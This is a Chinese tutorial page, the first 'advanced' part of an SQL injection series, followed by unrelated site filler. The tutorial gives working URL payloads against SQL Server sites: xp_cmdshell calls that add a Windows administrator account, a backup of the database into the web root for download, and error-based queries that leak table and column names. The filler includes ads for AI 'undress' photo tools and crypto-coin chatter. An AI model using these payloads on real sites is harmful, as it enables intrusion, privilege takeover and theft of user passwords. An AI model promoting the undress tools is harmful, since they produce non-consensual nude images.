SQL注入漏洞全接触--高级篇(一)_MySQL
看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。
第一节、利用系统表注入SQLServer数据库
SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:
① http://Site/url.ASP?id=1;exec master..xp_cmdshell “net user name password /add”--
分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:
② http://Site/url.ASP?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。
③ http://Site/url.ASP?id=1 ;;and db_name()>0
前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。
④ http://Site/url.ASP?id=1;backup database 数据库名 to disk=’c:/inetpub/wwwroot/1.db’;--
这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如//202.96.xx.xx/Share/1.db),但成功率不高。
⑤ http://Site/url.ASP?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。
⑥ http://Site/url.ASP?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧

热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

Video Face Swap
使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热门文章

热工具

记事本++7.3.1
好用且免费的代码编辑器

SublimeText3汉化版
中文版,非常好用

禅工作室 13.0.1
功能强大的PHP集成开发环境

Dreamweaver CS6
视觉化网页开发工具

SublimeText3 Mac版
神级代码编辑软件(SublimeText3)

热门话题

很多小伙伴不确定win10ltsc版本好不好,其实这款版本相较于其他版本还是很不错的,软件非常的干净,可以说没有其他多余的app,所以还是比较不错的。win10ltsc版本怎么样:答:相对来说还是很不错的win10ltsc版本相对来说还是很不错的,内容非常的干净,很适合喜欢干净的小伙伴下载。Win10LTSC版主要优点概述:优势一:此版本剔除了附加应用程序、Edge浏览器以及小娜,充分展现出其精简特性,避免了用户误操作导致不必要的干扰。同时,服务更为简化,运行速度也相应提升。优势二:1、对大部分

win10里面有非常多的系统可以选择使用,其中win10企业版2016长期服务版就是一个比较好用的系统版本,其中不管是功能还是什么都很不错,如果你日常使用的话这个系统版本可以说是非常优秀的。win10企业版2016长期服务版怎么样答:表现很不错。该产品乃是专门针对企业级客户量身打造,致力于构建出稳定、高效且安全性极高的计算环境。win10企业版2016长期服务版介绍1、保障:Windows2016企业版长期服务诚挚地向用户提供长达五年的充分主流支持以及同等时长的深入扩展支持2、系统经过层层把关的

POLYDOGE币的英文全称是PolyDoge,其实这个Polydoge是polygon上的meme社区代币,目前已经发行以Polydoge为主题的NFT,并开始与Netvrk合作开发PlaytoEarn游戏。POLYDOGE是在Polygon网络上诞生的代币,同时它也是该链上的第一个meme硬币,就在几天前它变成了跨链,并且可以在Crypto.com的Cronos网络上找到。有传言称,著名的币安智能链也即将发布。很多投资者都想要知道这个POLYDOGE币未来潜力怎么样?下面就让小编为大家说一说

区块链技术运用广泛且已经改变了众多行业构造,但教育领域尚未开发运用,OpenCampus(EDU)正是在这一背景下得以发展,2023年在币安Launchpad上推出EDU币出售后,项目借势强劲发展,扩大了其覆盖范围和影响力,对于投资者来说更关注这EDU币怎么样?有的投资者决定投资该币种前发现在10月份迎来了历史最低0.3748美元,这让投资者担心EDU币还有价值吗?其实根据当前数据来看,EDU币还是不错的,有一定的投资价值,下面小编为大家详细说说。EDU币怎么样?目前来看EDU币表现还不错,根据

近来国产机越来越强势,发布了各系列旗舰机和性价比超高的“千元机”,就在之前小米发布了小米5C,虽然是小米的初试产品,不过赵志福还是很看好小米的,希望能赶上华为的步伐,好了,进入主题本次的主角-小米4小米手机4搭载高通骁龙801(V3)2.5GHz处理器运行内存和内存为3GBRAM及16/64GBROM,(当时的主流运行内存大部分都保持在1/2GB),小米4弄成3GB的运行内存,在当时这种配置算是给力的了,后置摄像头为1300万的SonyIMX214,800万前置摄像头,屏幕为5英寸1080p这是

edge浏览器是微软全新开发的浏览器,内核与之前的ie浏览器完全不一样,有些用户经过操作,win7系统也能使用edge浏览器,那么具体这款浏览器使用起来怎么样呢,这篇文章就为大家简单讲解一下。win7edge浏览器怎么样答:Edge浏览器还是挺不错的,因为其内核与之前饱受争议的IE浏览器完全不同,更是采用了不同的代码和优化算法,性能方面更为突出优秀。edge浏览器还额外新增了涂鸦模式,用户能直接在浏览器上进行涂鸦。而阅读模式更是方便,不仅支持用户自己设置页面布局,还没有任何的广告,字体背景也都可

13600kf搭配技嘉b760怎么样1.搭配效果不错。2.因为13600kf是英特尔的一款高性能处理器,而技嘉b760是一款性能稳定的主板,两者搭配可以充分发挥处理器的性能,提供流畅的计算和游戏体验。3.此外,技嘉b760还具有良好的扩展性和稳定性,可以支持多种硬件设备的连接和运行,为用户提供更多的选择和便利。因此,搭配13600kf和技嘉b760可以满足用户对高性能计算和游戏需求的同时,也具备良好的稳定性和可靠性。搭配13600kf和技嘉b760相对来说是不错的选择。13600kf是一款性价比

ABS币的英文全称是Autobusd,其实AutoBUSD项目就是ABS代币的一个特殊项目,它主要用于交易平台,该项目的目的是能够自动交易黄金。该项目不仅能够分析价格走势,还能够阅读价格趋势的方向,帮助用户进行买入或卖出交易,并作出关闭头寸的决定,以此来获得利润或削减。除此之外,该项目中所有的亏损都是自动进行的,并不需要人工的指示。那么究竟ABS币怎么样?很多投资者想知道ABS币值得投资吗?下面就让小编为大家说一说。ABS币怎么样?据小编调查得知ABS项目上架交易所数已经归零,因此已经无法购买A
